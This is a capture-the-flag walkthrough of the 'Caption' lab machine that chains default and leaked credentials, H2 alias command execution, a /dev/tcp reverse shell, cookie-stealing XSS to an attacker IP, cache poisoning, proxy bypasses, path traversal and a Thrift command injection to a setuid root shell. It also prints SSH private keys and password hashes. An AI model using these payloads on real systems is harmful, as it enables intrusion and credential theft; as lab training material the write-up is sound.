Caption
Recon
HTTP (8080)
GitBucket

Default Creds
Nothing to see as unauthenticated user. Search for defaults:

Creds:
root:root
Login is successful

Leaked Creds
User credentials in commit of frontend application:http://caption.htb:8080/root/Caption-Portal/commit/0e3bafe458d0b821d28dde7d6f43721f479abe4a

Creds:
margo:vFr&cS2#0!
Logservice
There's also Logservice
application.

http://caption.htb:8080/root/Logservice/blob/main/server.go
package main
import (
"context"
"fmt"
"log"
"os"
"bufio"
"regexp"
"time"
"github.com/apache/thrift/lib/go/thrift"
"os/exec"
"log_service"
)
type LogServiceHandler struct{}
func (l *LogServiceHandler) ReadLogFile(ctx context.Context, filePath string) (r string, err error) {
file, err := os.Open(filePath)
if err != nil {
return "", fmt.Errorf("error opening log file: %v", err)
}
defer file.Close()
ipRegex := regexp.MustCompile(`\b(?:\d{1,3}\.){3}\d{1,3}\b`)
userAgentRegex := regexp.MustCompile(`"user-agent":"([^"]+)"`)
outputFile, err := os.Create("output.log")
if err != nil {
fmt.Println("Error creating output file:", err)
return
}
defer outputFile.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
ip := ipRegex.FindString(line)
userAgentMatch := userAgentRegex.FindStringSubmatch(line)
var userAgent string
if len(userAgentMatch) > 1 {
userAgent = userAgentMatch[1]
}
timestamp := time.Now().Format(time.RFC3339)
logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
exec.Command{"/bin/sh", "-c", logs}
}
return "Log file processed",nil
}
func main() {
handler := &LogServiceHandler{}
processor := log_service.NewLogServiceProcessor(handler)
transport, err := thrift.NewTServerSocket(":9090")
if err != nil {
log.Fatalf("Error creating transport: %v", err)
}
server := thrift.NewTSimpleServer4(processor, transport, thrift.NewTTransportFactory(), thrift.NewTBinaryProtocolFactoryDefault())
log.Println("Starting the server...")
if err := server.Serve(); err != nil {
log.Fatalf("Error occurred while serving: %v", err)
}
}
H2 Database
Abusing H2 Database ALIASRemote Code Execution in Three Acts: Chaining Exposed Actuators and H2 Database Aliases in Spring Boot 2

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
CALL SHELLEXEC('id') -- Works
CALL SHELLEXEC('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.47/4444 0>&1"') -- Doesnt work

CALL SHELLEXEC('ls -a');
CALL SHELLEXEC('ls -a .ssh');
CALL SHELLEXEC('cat .ssh/id_ecdsa');
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQS4DrhfSCL9byYFpRzmkNLZ7lklUNQBBjxf8vrCceMQ
lopUyvPs3ip7nBUfYY4EcpqVGJU8ApEXNJkeee+LcxA2AAAAoDpECTs6RAk7AAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLgOuF9IIv1vJgWlHOaQ0tnuWSVQ1AEGPF/y+sJx
4xCWilTK8+zeKnucFR9hjgRympUYlTwCkRc0mR5574tzEDYAAAAhAOybR0JRGNqDb1WCp7IOzoIW
ZmWJAG4QKQz/06T9otdMAAAAAAECAwQFBgc=
-----END OPENSSH PRIVATE KEY-----
SSH
└─$ vi margo.id_rsa
└─$ chmod 600 margo.id_rsa
└─$ ssh margo@caption.htb -i margo.id_rsa
margo@caption:~$ id
uid=1000(margo) gid=1000(margo) groups=1000(margo)
User.txt
margo@caption:~$ cat user.txt
98a688a7cee29ac682235be3c3667929
Frontend App Backend Source
margo@caption:~/app$ cat app.py
import uuid, requests, jwt
from flask import *
from functools import wraps
from datetime import timedelta, datetime
from jwt.exceptions import ExpiredSignatureError, InvalidTokenError
app = Flask(__name__)
app.secret_key=uuid.uuid4().hex
SECRET_KEY = app.secret_key
def create_jwt_token(user_id):
expiration_time = datetime.now() + timedelta(hours=1)
payload = { 'username': user_id, 'exp': expiration_time }
token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
return token, expiration_time
def login_required(f):
@wraps(f)
def wrap(*args, **kwargs):
auth_cookie = request.cookies.get('session')
if auth_cookie:
try:
payload = jwt.decode(auth_cookie, SECRET_KEY, algorithms=['HS256'])
user_id = payload['username']
return f(*args, **kwargs)
except ExpiredSignatureError:
return redirect('/?err=sess_err')
except InvalidTokenError:
return redirect('/?err=sess_err')
else:
return redirect('/')
return wrap
@app.route('/',methods=['GET','POST'])
def index():
if request.method=="POST":
username = request.form['username']
password = request.form['password']
if username == 'margo' and password == 'vFr&cS2#0!':
resp = make_response(redirect(url_for('home')))
jwt_token, expiration_time = create_jwt_token("margo")
resp.set_cookie('session', jwt_token, expires=expiration_time, httponly=False)
return resp
elif username == 'admin' and password == 'cFgjE@0%l0':
resp = make_response(redirect(url_for('home')))
jwt_token, expiration_time = create_jwt_token("admin")
resp.set_cookie('session', jwt_token, expires=expiration_time, httponly=False)
return resp
else:
return redirect('/?err=login_err')
else:
if request.args.get('err'):
if 'login_err' in request.args.get('err'):
return render_template('index.html',error="Invalid Credentials")
elif 'role_error' in request.args.get('err'):
return render_template('index.html',error="Require Supervisor Role")
else:
return render_template('index.html',error="Session timed out")
else:
return render_template('index.html')
@app.route('/home')
@login_required
def home():
try:
host = request.headers['X-Forwarded-Host']
return render_template('home.html',host=host)
except:
return render_template('home.html',host='internal-proxy.local')
@app.route('/logs',methods=['GET','POST'])
@login_required
def logs():
if request.cookies.get('session'):
auth_cookie = request.cookies.get('session')
username = validate_user(auth_cookie)
if username == "admin":
return render_template('logs.html')
else:
return redirect('/?err=role_error')
@app.route('/firewalls')
@login_required
def firewall():
try:
host = request.headers['X-Forwarded-Host']
return render_template('firewall.html',host=host)
except:
return render_template('firewall.html',host='internal-proxy.local')
@app.route('/logout')
def logout():
response = make_response(redirect('/'))
response.set_cookie('session', '', expires=0)
return response
@app.route('/download')
@login_required
def download():
if request.cookies.get('session'):
auth_cookie = request.cookies.get('session')
username = validate_user(auth_cookie)
if username == "admin":
url = request.args.get('url')
try:
file = requests.get(url)
return file.text
except:
return 'Something went wrong'
else:
return redirect('/?err=role_error')
def validate_user(auth_cookie):
try:
payload = jwt.decode(auth_cookie, SECRET_KEY, algorithms=['HS256'])
user_id = payload['username']
return user_id
except ExpiredSignatureError:
return redirect('/?err=sess_err')
except InvalidTokenError:
return None
app.run(port=8000)
Creds:
admin:cFgjE@0%l0
Still doesn't work because HAProxy
is restricting any request being made to server.
margo@caption:~$ curl 10.10.14.47/lp.sh|sh|tee /tmp/lp.log
...
root 952 0.0 0.0 6896 2868 ? Ss Sep12 0:00 /usr/sbin/cron -f -P
root 961 0.0 0.1 10340 4104 ? S Sep12 0:00 _ /usr/sbin/CRON -f -P
ruth 981 0.0 0.0 2892 988 ? Ss Sep12 0:00 | _ /bin/sh -c cd /home/ruth;bash varnish_logs.sh
ruth 988 0.0 0.0 7372 3340 ? S Sep12 0:00 | _ bash varnish_logs.sh
ruth 992 1.0 2.0 86284 80376 ? S Sep12 39:29 | _ varnishncsa -c -F %{VCL_Log:client_ip}x
ruth 993 0.0 0.0 7372 1948 ? S Sep12 0:01 | _ bash varnish_logs.sh
root 962 0.0 0.1 10340 4104 ? S Sep12 0:00 _ /usr/sbin/CRON -f -P
margo 982 0.0 0.0 2892 1056 ? Ss Sep12 0:00 | _ /bin/sh -c cd /home/margo;/usr/bin/java -jar gitbucket.war
margo 986 0.3 11.3 3672516 455584 ? Sl Sep12 11:17 | _ /usr/bin/java -jar gitbucket.war
root 963 0.0 0.1 10340 4104 ? S Sep12 0:00 _ /usr/sbin/CRON -f -P
margo 980 0.0 0.0 2892 964 ? Ss Sep12 0:00 | _ /bin/sh -c cd /home/margo/app;python3 app.py
margo 989 0.0 1.1 1084992 46536 ? S Sep12 1:41 | _ python3 app.py
root 964 0.0 0.1 10340 4104 ? S Sep12 0:00 _ /usr/sbin/CRON -f -P
margo 983 0.0 0.0 2892 1000 ? Ss Sep12 0:00 | _ /bin/sh -c cd /home/margo;python3 copyparty-sfx.py -i 127.0.0.1 -v logs::r
margo 987 0.0 0.8 1000552 33652 ? Sl Sep12 0:00 | _ python3 copyparty-sfx.py -i 127.0.0.1 -v logs::r
root 965 0.0 0.0 10344 3992 ? S Sep12 0:00 _ /usr/sbin/CRON -f -P
root 979 0.0 0.0 2892 976 ? Ss Sep12 0:00 _ /bin/sh -c cd /root;/usr/local/go/bin/go run server.go
root 985 0.0 0.4 1314792 18004 ? Sl Sep12 0:08 _ /usr/local/go/bin/go run server.go
root 1391 0.0 0.1 1083704 4496 ? Sl Sep12 0:00 _ /tmp/go-build696759649/b001/exe/server
...
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3923 0.0.0.0:* LISTEN 987/python3
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN 989/python3
tcp 0 0 127.0.0.1:6081 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:6082 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9090 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 986/java
tcp6 0 0 :::22 :::* LISTEN -
...
HTTP (80)

We are able to authenticate as margo

Also admin
from source, but we can't do anything. /logs
and /download
is blocked by HAProxy.
Do port forwarding to bypass the proxy.
└─$ ssh margo@caption.htb -i margo.id_rsa -L 8000:0:8000
Logservice Exploit
/logs
is now accessible, but /download
fails. The previous application (Logservice) is probably running as privileged user.
log_service.thrift
:
namespace go log_service
service LogService {
string ReadLogFile(1: string filePath)
}
└─$ ssh margo@caption.htb -i margo.id_rsa -L 9090:0:9090
└─$ venv
└─$ pip install thrift
└─$ cp ../gitbucket/Logservice-main/log_service.thrift .
└─$ sudo apt install thrift-compiler -y
└─$ thrift -r --gen py log_service.thrift
└─$ mv gen-py/log_service/ .
Thrift has a guide: https://thrift.apache.org/tutorial/py.html
We can use generated code by thrift
to work with the service and inject malicious payload.
from thrift.transport import TSocket, TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService
import os
PAYLOAD_FILE = '/tmp/payload'
PAYLOAD = '''
{"user-agent":"letmein'; cp /bin/bash /tmp/rootbash; chmod 4777 /tmp/rootbash; # ", "ip": "127.0.0.1"}
'''.strip()
def main():
transport = TSocket.TSocket('localhost', 9090)
transport = TTransport.TBufferedTransport(transport)
protocol = TBinaryProtocol.TBinaryProtocol(transport)
client = LogService.Client(protocol)
transport.open()
try: client.ReadLogFile(PAYLOAD_FILE)
except Exception as e: print(f"Error: {e}")
finally: transport.close()
if __name__ == "__main__":
with open(PAYLOAD_FILE, 'w') as f: f.write(PAYLOAD)
os.system("scp -i ../margo.id_rsa /tmp/payload margo@caption.htb:/tmp/payload")
main()
Root
margo@caption:~$ /tmp/rootbash -p
rootbash-5.1# cd /root
rootbash-5.1# ls
go go.mod go.sum output.log root.txt server.go
rootbash-5.1# id
uid=1000(margo) gid=1000(margo) euid=0(root) groups=1000(margo)
Root.txt
rootbash-5.1# cat root.txt
c7ce7c213da8f9584bf56f3b7be5fd84
Hashes
root:$y$j9T$Z0mAEpyXxUFgbF4zyQYIm0$tfEWxKHM9Yv0fztCJ6GT/RYj87nvBZIl3t8ssYc3GnB:19956:0:99999:7:::
margo:$y$j9T$1.nErPXvyX8GM8SBRu8/B1$rCxIQkAu/A5K6b5xIZBJ6oeKfPp6R3WHDds/Z1OTEZ8:19956:0:99999:7:::
ruth:$y$j9T$8eN6xHfvLg4evyRqa2g7l1$AgJWIup1DAeX.Vo1wr69..LMTys7hBGepHknEKPwMOB:19960:0:99999:7:::
Past Root
varnish > default.vcl
root@caption:/etc/varnish# cat default.vcl
vcl 4.0;
import std;
backend default {
.host = "127.0.0.1";
.port = "8000";
}
sub vcl_recv {
unset req.http.proxy;
if (req.url ~ "/firewalls" && req.url ~ "(\?|\&)ip=10\.10\..*") {
return (hash);
}
if (req.method == "XCGFULLBAN") {
ban("req.http.host ~ .*");
return (synth(200, "Full cache cleared"));
}
}
sub vcl_backend_response{
if (bereq.url ~ "/firewalls" && bereq.url ~ "(\?|\&)ip=10\.10\..*" && beresp.status == 200) {
set beresp.ttl = 120s;
set beresp.http.cache-control = "public, max-age=120";
return (deliver);
}
}
sub vcl_deliver {
if (obj.hits == 1) {
set resp.http.X-Cache = "HIT";
std.log("client_ip: " + regsub(req.url, ".*ip=([^&]+)&?.*", "\1"));
}
if (obj.hits == 0) {
set resp.http.X-Cache = "MISS";
}
else {
unset resp.http.X-Cache;
}
}
ruth > bot.py
root@caption:/home/ruth# cat bot.py
import sys
import requests
import subprocess
from time import sleep
from bs4 import BeautifulSoup
from seleniumwire import webdriver
def cache_automation(ip):
option = webdriver.ChromeOptions()
option.add_argument('--no-sandbox')
option.add_argument('--headless')
option.add_argument("--remote-debugging-port=34572")
driver = webdriver.Chrome(options=option)
print('[*] Starting Browsing as Admin')
r = requests.post(
'http://caption.htb/',
data={
'username': 'admin',
'password': 'cFgjE@0%l0'
},
allow_redirects=False
)
cookie = r.headers['Set-Cookie'].split(';')[0].split('=')[1]
driver.get('http://caption.htb')
driver.add_cookie({"name": "session", "value": "%s" % (cookie)})
r = requests.get(f'http://caption.htb/firewalls?ip={ip}', cookies={'session': cookie})
soup = BeautifulSoup(r.text, "html.parser")
try:
link = soup.find_all('script')[1]['src'].split('?')[1]
if 'internal-proxy.local' in link:
print(f"[!] Request not poisoned yet - {link}")
driver.close()
driver.quit()
else:
print(f'[+] Request is cached - {link}')
driver.get(f'http://caption.htb/firewalls?ip={ip}')
print('[*] Browsed to the firewall page')
driver.close()
driver.quit()
except:
pass
cache_automation(sys.argv[1])
ruth > varnish_logs.sh
root@caption:/home/ruth# cat varnish_logs.sh
#!/bin/bash
read_output() {
while read -r line; do
if [[ -n "$line" ]];then
python3 /home/ruth/bot.py "$line"
fi
done
}
varnishncsa -c -F "%{VCL_Log:client_ip}x" | read_output
Intended Route
I think on release date everything went wrong and nobody got the intended route 😄
As I kept digging the source code I realized that real chain of attack was
GitBucket
Source Code
Guessy work
XSS via header
Cache poison
admin
HAProxy bypass
LFI
Fuzzing
Service on 9090
On GitBucket we can login with default credentials (root:root
) and browse source of 2 applications. For now we only need Caption-Portal. Now the trickiest part is figuring out how to perform anything at all.
If you look in the source you can view something like this:
<script src="http://caption.htb/static/js/lib.js?utm_source=http://internal-proxy.local"></script>
Now comes the guessy work, considering we don't know how this value is populated there's only plug and play situation...
From the GitBucket we have credentials for margo
user and we can fuzz for headers which effect how url works.
└─$ ffuf -u 'http://caption.htb/home' -H 'FUZZ: letmein' -w /usr/share/seclists/Discovery/Web-Content/BurpSuite-ParamMiner/lowercase-headers -H 'Cookie: JSESSIONID=node01rmc0p8imfla6uy4d8cvbyzsh0.node0; session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI2NDI0NTAwfQ.KtHnUu4L6rXQ852Dek-J9knTxSB9YigUyZCXLH0Cw-8' -fs 7106
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://caption.htb/home
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/BurpSuite-ParamMiner/lowercase-headers
:: Header : FUZZ: letmein
:: Header : Cookie: JSESSIONID=node01rmc0p8imfla6uy4d8cvbyzsh0.node0; session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI2NDI0NTAwfQ.KtHnUu4L6rXQ852Dek-J9knTxSB9YigUyZCXLH0Cw-8
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 7106
________________________________________________
Host [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 79ms]
X-Forwarded-Host [Status: 200, Size: 7067, Words: 1472, Lines: 193, Duration: 102ms]
:: Progress: [1102/1102] :: Job [1/1] :: 430 req/sec :: Duration: [0:00:02] :: Errors: 1 ::
So because we can control the contents of script we can also inject and gain XSS, but first let's test it.
X-Forwarded-Host: "></script><script>fetch('http://10.10.14.47?x=you_god_damn_right')</script>

If you notice age
header increased, this is because Varnish
is a caching HTTP reverse proxy service and whatever we send is cached and later used. If I make request to XXX
and then you make same request you will get cached page from server and not a new one.

Anyway, check your server listener and what do you know! someone is visiting the website frequently so maybe we can steal their cookies too?
└─$ serve
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.21.229 - - [15/Sep/2024 13:51:28] "GET /?x=you_god_damn_right HTTP/1.1" 200 -
10.129.21.229 - - [15/Sep/2024 13:51:28] "GET /?x=you_god_damn_right HTTP/1.1" 200 -
10.129.21.229 - - [15/Sep/2024 13:51:29] "GET /?x=you_god_damn_right HTTP/1.1" 200 -
X-Forwarded-Host: "></script><img src=x onerror="this.src='http://10.10.14.47/?c='+document.cookie; this.removeAttribute('onerror');">
10.129.21.229 - - [15/Sep/2024 13:59:00] "GET /?c=session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI2NDI2NzE0fQ.CQOpd3xVVoAz7w5597E6QjJzMlqTpdwN382eDa6RYjQ HTTP/1.1" 200 -
XCGFULLBAN
can be used to clear cache, or wait 120sec
curl caption.htb -X XCGFULLBAN
Now that we are logged in as other user (presumably higher then margo) we can browse around. If we go to /logs
we get denied because of HAProxy
http://caption.htb:8080/root/Caption-Portal/blob/main/config/haproxy/haproxy.cfg
frontend http_front
bind *:80
default_backend http_back
acl restricted_page path_beg,url_dec -i /logs
acl restricted_page path_beg,url_dec -i /download
http-request deny if restricted_page
acl not_caption hdr_beg(host) -i caption.htb
http-request redirect code 301 location http://caption.htb if !not_caption
Basically any request to /logs
or /download
is blocked! BUT the path is only filtering case, so what prevents us from injecting a forward slash at the front? (or similar payload)

Absolutely nothing.
Great, we can view log files like:view-source:http://caption.htb//download?url=http://127.0.0.1:3923/ssh_logs
But why is request made to internal webapp?
Searching for this service we end up on GitHub and exploit:

copyparty 1.8.2 - Directory Traversal
LFI like: http://caption.htb//download?url=http://127.0.0.1:3923/.cpr/../../../../../etc/passwd will not work because we need to urlencode, but it will not work, because we need to urlencode again for the second request.
0: /../../../../../etc/passwd
1: %2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd
2: %252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd

There's 3 valid users: root
, margo
and ruth
Automate the file grabbing:
import socket
import requests
from urllib.parse import quote_plus
raw_request = (
"GET //download?url=http://127.0.0.1:3923/.cpr/{payload} HTTP/1.1\r\n"
"Host: caption.htb\r\n"
"Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI2NDI3MzUyfQ.hOaNSLJMiAD0uEOBf-lfGBJ7eNIttS2XFpRfW25u00o; JSESSIONID=node02nxrc9p7errztc1b6bpoqtt10.node0\r\n"
"Connection: close\r\n\r\n"
)
while True:
file = input('File To Read: ')
file = quote_plus(quote_plus(file))
request = raw_request.format(payload=file)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('caption.htb', 80))
s.sendall(request.encode())
response = b""
while True:
data = s.recv(4096)
if not data: break
response += data
print(response.decode())
Since we don't know what we are looking for and /proc/self/*
doesn't work, fuzz.
I first focused on SSH keys. Had to resort to sockets because //
was not accepted in the url by requests
from pathlib import Path
import socket
from urllib.parse import quote_plus
def send(request_template, payload):
file = quote_plus(quote_plus(payload))
request = request_template.format(payload=file)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('caption.htb', 80))
s.sendall(request.encode())
response = b""
while True:
data = s.recv(4096)
if not data: break
response += data
return response.decode()
raw_template = (
"GET //download?url=http://127.0.0.1:3923/.cpr/{payload} HTTP/1.1\r\n"
"Host: caption.htb\r\n"
"Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI2NDMxNjkwfQ.FZYrEDi1bCIOYG3-bghJWezQBNT5xk4WWkPYB3D6XeE\r\n"
"Connection: close\r\n\r\n"
)
wordlist = '/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt'
users = ('margo', 'ruth')
with open(wordlist) as f:
for line in f:
if 'ssh' in line:
for user in users:
ssh_file = f'/home/{user}/.ssh/{Path(line.strip()).name}'
print(ssh_file)
resp = send(raw_template, ssh_file)
if 'currently disabled' in resp: continue
print(resp)
We gained margo ssh key and can login as her. (SSH key is from Arena VPN, so it may not work on public IP)
/home/margo/.ssh/id_ecdsa
...
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQmMC7GnGnjrvRcmcWPpOJ/2xmlmwfXQ991y/cuIydL
9dpTLANeGjmXEkKMBwxH9fuVnJNvO8KeXMAmbe3WtNpVAAAAoDw1+LE8NfixAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCYwLsacaeOu9FyZxY+k4n/bGaWbB9dD33XL9y4j
J0v12lMsA14aOZcSQowHDEf1+5Wck287wp5cwCZt7da02lUAAAAgLNRYd82pbUTSr7jrv5gj0uPM
ZDlMG8Vw135H7ttr6xEAAAAAAQIDBAUGBwg=
-----END OPENSSH PRIVATE KEY-----
...
From this point on the path to root is the same, exploit the service on port 9090 (thrift) and that's it, I guess.
Could be useful: https://github.com/kacperszurek/exploits/blob/master/GitBucket/gitbucket-unauthenticated-rce.md
Intended Route 2 (HAProxy bypass)
After some time machine got patched, root:root
was removed and HAProxy
was also fixed...

HAProxy is vulnerable to H2 Smuggling Request
Upgrade Header Smugglingh2csmuggler
└─$ py h2csmuggler.py -x http://caption.htb -t
[INFO] h2c stream established successfully.
[INFO] Success! http://caption.htb can be used for tunneling
└─$ py h2csmuggler.py -x http://caption.htb http://caption.htb/logs -H 'Cookie: JSESSIONID=node0h5gnobn4ilvpg9k2xvikq5fg1.node0; session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI4ODA5NTY4fQ.BdqGh1I9qwVwKWKy5c8DZplq_MDfnrvx7LkTC_STAP8' > logs.html

Now that we can bypass the proxy the steps are relatively the same:
└─$ py h2csmuggler.py -x http://caption.htb 'http://caption.htb//download?url=http://127.0.0.1:3923/.cpr/%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd' -H 'Cookie: JSESSIONID=node0h5gnobn4ilvpg9k2xvikq5fg1.node0; session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI4ODA5NTY4fQ.BdqGh1I9qwVwKWKy5c8DZplq_MDfnrvx7LkTC_STAP8' | tail -50
x-varnish: 1477192
age: 0
via: 1.1 varnish (Varnish/6.6)
x-cache: MISS
accept-ranges: bytes
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
Get private key:
└─$ py h2csmuggler.py -x http://caption.htb 'http://caption.htb//download?url=http://127.0.0.1:3923/.cpr/%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fhome%252Fmargo%252F%252Essh%252Fid%255Fecdsa' -H 'Cookie: JSESSIONID=node0h5gnobn4ilvpg9k2xvikq5fg1.node0; session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzI4ODA5NTY4fQ.BdqGh1I9qwVwKWKy5c8DZplq_MDfnrvx7LkTC_STAP8' | tail -15
x-cache: MISS
accept-ranges: bytes
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQTGOXexsvvDi6ef34AqJrlsOKP3cynseip0tX/R+A58
9sSkErzUOEOJba7G1Ep2TawTJTbWb2KROYrOYLA0zysQAAAAoJxnaNicZ2jYAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMY5d7Gy+8OLp5/fgComuWw4o/dzKex6KnS1f9H4
Dnz2xKQSvNQ4Q4ltrsbUSnZNrBMlNtZvYpE5is5gsDTPKxAAAAAgaNaOfcgjzxxq/7lNizdKUj2u
Zpid9tR/6oub8Y3Jh3cAAAAAAQIDBAUGBwg=
-----END OPENSSH PRIVATE KEY-----
This step can be automated, but at this point we know this file exists...
Last updated